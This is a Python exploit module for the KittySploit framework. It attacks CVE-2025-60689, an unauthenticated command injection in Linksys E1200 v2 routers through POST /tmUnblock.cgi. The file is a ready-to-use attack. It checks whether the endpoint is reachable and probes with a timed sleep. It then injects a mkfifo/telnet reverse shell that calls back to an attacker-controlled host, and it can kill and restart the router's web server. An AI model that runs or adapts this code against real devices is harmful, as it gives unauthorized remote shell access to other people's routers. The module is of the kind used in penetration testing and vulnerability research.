Linksys E1200 v2 - tmUnblock.cgi Command Injection (CVE-2025-60689)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Linksys E1200 v2 — unauthenticated OS command injection via tmUnblock.cgi (CVE-2025-60689)."""

import time

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "Linksys E1200 v2 - tmUnblock.cgi Command Injection (CVE-2025-60689)",
        "description": (
            "Unauthenticated OS command injection in Linksys E1200 firmware <= v2.0.04 "
            "via POST /tmUnblock.cgi (ttcp_ip). Blind injection: use the default reverse "
            "payload/listener or nopayload + execute session. Admin UI is often on port 80 "
            "or 8080 depending on deployment."
        ),
        "author": ["JarrettgxzSec", "KittySploit Team"],
        "cve": ["CVE-2025-60689"],
        "platform": Platform.LINUX,
        "payload": {
            "default": "payloads/singles/cmd/unix/busybox_reverse_tcp",
            "platform": Platform.LINUX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2025-60689",
            "https://github.com/Jarrettgohxz/CVE-research/tree/main/Linksys/E1200-V2/CVE-2025-60689",
        ],
        "tags": [
            "linksys",
            "e1200",
            "router",
            "iot",
            "rce",
            "cmdi",
            "unauth",
            "cve-2025-60689",
        ],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 2,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.6,
            "value": 1.0,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": [],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": False,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {},
                "confidence_min_any": {},
                "endpoint_pattern_any": [],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": ""},
                    {"capability": "shell", "from_detail": ""},
                ],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                ],
            },
        },
    }

    port = OptPort(8080, "Target HTTP port (80 or 8080 on E1200 admin UI)")
    ssl = OptBool(False, "Use HTTPS for the admin interface", required=False, advanced=True)
    restart_httpd = OptBool(
        True,
        "Restart httpd before callback (PoC behaviour; improves reliability)",
        required=False,
        advanced=True,
    )
    use_telnet_callback = OptBool(
        True,
        "Use mkfifo+telnet reverse shell from the public PoC (recommended on E1200)",
        required=False,
        advanced=True,
    )

    def _wrap_ttcp_ip(self, cmd: str) -> str:
        """Leading space + newlines match the original PoC encoding."""
        return f" \n{str(cmd).strip()}\n"

    def _post_injection(self, cmd: str) -> bool:
        data = {
            "submit_button": "",
            "change_action": "",
            "submit_type": "",
            "action": "",
            "commit": "0",
            "ttcp_num": "",
            "ttcp_size": "",
            "ttcp_ip": self._wrap_ttcp_ip(cmd),
            "StartEPI": "1",
        }
        response = self.http_request(
            method="POST",
            path="/tmUnblock.cgi",
            data=data,
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            allow_redirects=False,
        )
        return response is not None

    def _telnet_reverse_cmd(self, lhost: str, lport: int) -> str:
        lines = ["rm /tmp/f", "mkfifo /tmp/f"]
        if self.restart_httpd:
            lines.append("killall httpd && httpd")
        lines.append(
            f"cat /tmp/f | /bin/sh 2>&1 | telnet {lhost} {int(lport)} >/tmp/f &"
        )
        return "\n".join(lines)

    def execute(self, cmd: str) -> str:
        if not self._post_injection(cmd):
            return ""
        return ""

    def check(self):
        response = self.http_request(method="GET", path="/tmUnblock.cgi", allow_redirects=False)
        if response is None:
            return {
                "vulnerable": False,
                "reason": "No response from /tmUnblock.cgi",
                "confidence": "low",
            }

        body = (response.text or "").lower()
        if response.status_code in (200, 301, 302) and not any(
            marker in body for marker in ("page not found", "404", "not found", "error 404")
        ):
            return {
                "vulnerable": True,
                "reason": "Linksys tmUnblock.cgi endpoint reachable (CVE-2025-60689 surface)",
                "confidence": "medium",
            }

        return {
            "vulnerable": False,
            "reason": "/tmUnblock.cgi not reachable or returned an error page",
            "confidence": "medium",
        }

    def check_execute(self) -> bool:
        started = time.time()
        self.execute("sleep 3")
        return (time.time() - started) >= 2.5

    def run(self):
        probe = self.check()
        if not probe.get("vulnerable"):
            self.not_vulnerable()
            return False

        if self._is_nopayload():
            if not self.check_execute():
                self.not_vulnerable()
                return False
            print_success("Target appears vulnerable (timing side-channel)")
            return self.handler_execute()

        if self.use_telnet_callback:
            injection = self._telnet_reverse_cmd(self.lhost, self.lport)
            print_status(f"Injecting mkfifo/telnet callback to {self.lhost}:{self.lport}")
        else:
            injection = str(self.payload or "").strip()
            if not injection:
                print_error("Empty payload — set payload or enable use_telnet_callback")
                return False
            if self.restart_httpd:
                injection = f"killall httpd && httpd\n{injection}"
            print_status(f"Injecting framework payload ({len(injection)} bytes)")

        if not self._post_injection(injection):
            print_error("Failed to deliver exploit request")
            self.not_vulnerable()
            return False

        print_success("Exploit delivered — waiting for reverse connection")
        self.vulnerable()
        return True